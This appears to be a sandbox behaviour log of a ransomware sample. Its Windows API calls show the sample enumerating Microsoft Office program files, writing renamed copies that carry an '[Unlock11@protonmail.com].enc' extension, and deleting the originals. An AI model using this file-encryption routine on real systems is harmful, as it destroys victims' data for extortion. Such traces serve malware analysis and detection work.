[0133.275] GetCurrentThreadId () returned 0x9b0 [0133.276] GetCurrentThreadId () returned 0x9b0 [0133.276] GetCurrentThreadId () returned 0x9b0 [0133.277] GetCurrentThreadId () returned 0x9b0 [0133.277] GetCurrentThreadId () returned 0x9b0 [0133.439] CloseHandle (hObject=0x3ac) returned 1 [0133.439] CloseHandle (hObject=0x39c) returned 1 [0133.439] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 1 [0133.440] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", lpFilePart=0x9bada4*="FileSystemMetadata.xml") returned 0x38 [0133.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0133.440] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1 [0133.441] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bebc | out: pbBuffer=0x366bebc) returned 1 [0133.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0133.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0133.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0133.441] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.441] GetFileType (hFile=0x39c) returned 0x1 [0133.441] GetFileType (hFile=0x39c) returned 0x1 [0133.442] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.442] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.442] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.442] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.442] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.442] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.442] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.442] GetLastError () returned 0x0 [0133.442] GetCurrentThreadId () returned 0x9b0 [0133.442] GetLastError () returned 0x0 [0133.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0133.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0133.443] GetLastError () returned 0x0 [0133.443] GetLastError () returned 0x0 [0133.443] GetLastError () returned 0x0 [0133.443] GetLastError () returned 0x0 [0133.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de618 [0133.443] GetLastError () returned 0x0 [0133.443] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.444] GetFileType (hFile=0x3ac) returned 0x1 [0133.445] GetLastError () returned 0x0 [0133.445] GetCurrentThreadId () returned 0x9b0 [0133.445] GetLastError () returned 0x0 [0133.445] GetFileType (hFile=0x3ac) returned 0x1 [0133.445] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.445] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.445] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.445] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.445] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.445] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.445] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.445] GetLastError () returned 0x0 [0133.445] GetCurrentThreadId () returned 0x9b0 [0133.446] GetLastError () returned 0x0 [0133.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0133.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0133.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0133.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.446] GetLastError () returned 0x0 [0133.446] GetLastError () returned 0x0 [0133.446] GetCurrentThreadId () returned 0x9b0 [0133.446] GetLastError () returned 0x0 [0133.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.446] GetLastError () returned 0x0 [0133.447] GetLastError () returned 0x0 [0133.447] GetCurrentThreadId () returned 0x9b0 [0133.447] GetLastError () returned 0x0 [0133.447] GetLastError () returned 0x0 [0133.448] GetLastError () returned 0x0 [0133.448] GetCurrentThreadId () returned 0x9b0 [0133.448] GetLastError () returned 0x0 [0133.448] GetCurrentThreadId () returned 0x9b0 [0133.448] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x135) returned 0x36f8548 [0133.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4f8 [0133.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x138) returned 0x31da3b8 [0133.448] GetLastError () returned 0x0 [0133.448] GetLastError () returned 0x0 [0133.448] GetLastError () returned 0x0 [0133.449] GetLastError () returned 0x0 [0133.449] GetCurrentThreadId () returned 0x9b0 [0133.449] GetLastError () returned 0x0 [0133.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31da3b8 | out: hHeap=0x2ad0000) returned 1 [0133.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.449] GetLastError () returned 0x0 [0133.449] GetLastError () returned 0x0 [0133.449] GetCurrentThreadId () returned 0x9b0 [0133.449] GetLastError () returned 0x0 [0133.449] GetLastError () returned 0x0 [0133.450] GetLastError () returned 0x0 [0133.450] GetCurrentThreadId () returned 0x9b0 [0133.450] GetLastError () returned 0x0 [0133.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8688 | out: hHeap=0x2ad0000) returned 1 [0133.451] CloseHandle (hObject=0x3ac) returned 1 [0133.451] GetCurrentThreadId () returned 0x9b0 [0133.451] GetLastError () returned 0x0 [0133.451] GetCurrentThreadId () returned 0x9b0 [0133.451] CloseHandle (hObject=0x39c) returned 1 [0133.451] GetCurrentThreadId () returned 0x9b0 [0133.451] GetLastError () returned 0x0 [0133.451] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0133.452] GetLastError () returned 0x0 [0133.452] GetCurrentThreadId () returned 0x9b0 [0133.453] GetLastError () returned 0x0 [0133.453] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0133.453] GetLastError () returned 0x0 [0133.453] GetCurrentThreadId () returned 0x9b0 [0133.453] GetLastError () returned 0x0 [0133.453] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0133.453] GetLastError () returned 0x0 [0133.453] GetCurrentThreadId () returned 0x9b0 [0133.453] GetLastError () returned 0x0 [0133.453] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0133.454] GetLastError () returned 0x0 [0133.454] GetCurrentThreadId () returned 0x9b0 [0133.454] GetLastError () returned 0x0 [0133.454] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0133.454] GetLastError () returned 0x0 [0133.454] GetCurrentThreadId () returned 0x9b0 [0133.454] GetLastError () returned 0x0 [0133.454] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0133.454] GetLastError () returned 0x0 [0133.454] GetCurrentThreadId () returned 0x9b0 [0133.454] GetLastError () returned 0x0 [0133.454] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0133.454] GetLastError () returned 0x0 [0133.455] GetCurrentThreadId () returned 0x9b0 [0133.455] GetLastError () returned 0x0 [0133.455] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0 [0133.455] GetLastError () returned 0x12 [0133.455] GetCurrentThreadId () returned 0x9b0 [0133.455] GetLastError () returned 0x12 [0133.455] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0133.455] GetCurrentThreadId () returned 0x9b0 [0133.455] GetLastError () returned 0x12 [0133.455] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0133.456] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0133.456] GetCurrentThreadId () returned 0x9b0 [0133.456] GetLastError () returned 0x12 [0133.456] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0133.456] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0133.457] GetCurrentThreadId () returned 0x9b0 [0133.457] GetLastError () returned 0x12 [0133.457] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x9bada4*="OSPP.HTM") returned 0x33 [0133.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0133.457] GetCurrentThreadId () returned 0x9b0 [0133.457] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x9bada4*="OSPP.VBS") returned 0x33 [0133.457] GetCurrentThreadId () returned 0x9b0 [0133.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0133.457] GetCurrentThreadId () returned 0x9b0 [0133.457] GetLastError () returned 0x12 [0133.457] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x9bada4*="OSPPREARM.EXE") returned 0x38 [0133.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0133.458] GetCurrentThreadId () returned 0x9b0 [0133.458] GetLastError () returned 0x12 [0133.458] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x9bada4*="SLERROR.XML") returned 0x36 [0133.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.458] GetCurrentThreadId () returned 0x9b0 [0133.458] GetCurrentThreadId () returned 0x9b0 [0133.459] GetLastError () returned 0x12 [0133.459] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0133.459] GetLastError () returned 0x12 [0133.460] GetCurrentThreadId () returned 0x9b0 [0133.460] GetLastError () returned 0x12 [0133.460] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0133.460] GetLastError () returned 0x12 [0133.460] GetCurrentThreadId () returned 0x9b0 [0133.460] GetLastError () returned 0x12 [0133.460] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0133.460] GetLastError () returned 0x12 [0133.460] GetCurrentThreadId () returned 0x9b0 [0133.460] GetLastError () returned 0x12 [0133.461] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0133.461] GetLastError () returned 0x12 [0133.461] GetCurrentThreadId () returned 0x9b0 [0133.461] GetLastError () returned 0x12 [0133.461] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0133.461] GetLastError () returned 0x12 [0133.461] GetCurrentThreadId () returned 0x9b0 [0133.461] GetLastError () returned 0x12 [0133.461] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0133.461] GetLastError () returned 0x12 [0133.461] GetCurrentThreadId () returned 0x9b0 [0133.461] GetLastError () returned 0x12 [0133.461] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0133.462] GetLastError () returned 0x12 [0133.462] GetCurrentThreadId () returned 0x9b0 [0133.462] GetLastError () returned 0x12 [0133.462] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0133.462] GetLastError () returned 0x12 [0133.462] GetCurrentThreadId () returned 0x9b0 [0133.462] GetLastError () returned 0x12 [0133.462] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0133.462] GetLastError () returned 0x12 [0133.462] GetCurrentThreadId () returned 0x9b0 [0133.462] GetLastError () returned 0x12 [0133.462] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0133.462] GetLastError () returned 0x12 [0133.463] GetCurrentThreadId () returned 0x9b0 [0133.463] GetLastError () returned 0x12 [0133.463] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0133.463] GetLastError () returned 0x12 [0133.463] GetCurrentThreadId () returned 0x9b0 [0133.463] GetLastError () returned 0x12 [0133.463] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0133.463] GetLastError () returned 0x12 [0133.463] GetCurrentThreadId () returned 0x9b0 [0133.463] GetLastError () returned 0x12 [0133.463] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0133.463] GetLastError () returned 0x12 [0133.463] GetCurrentThreadId () returned 0x9b0 [0133.464] GetLastError () returned 0x12 [0133.464] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, 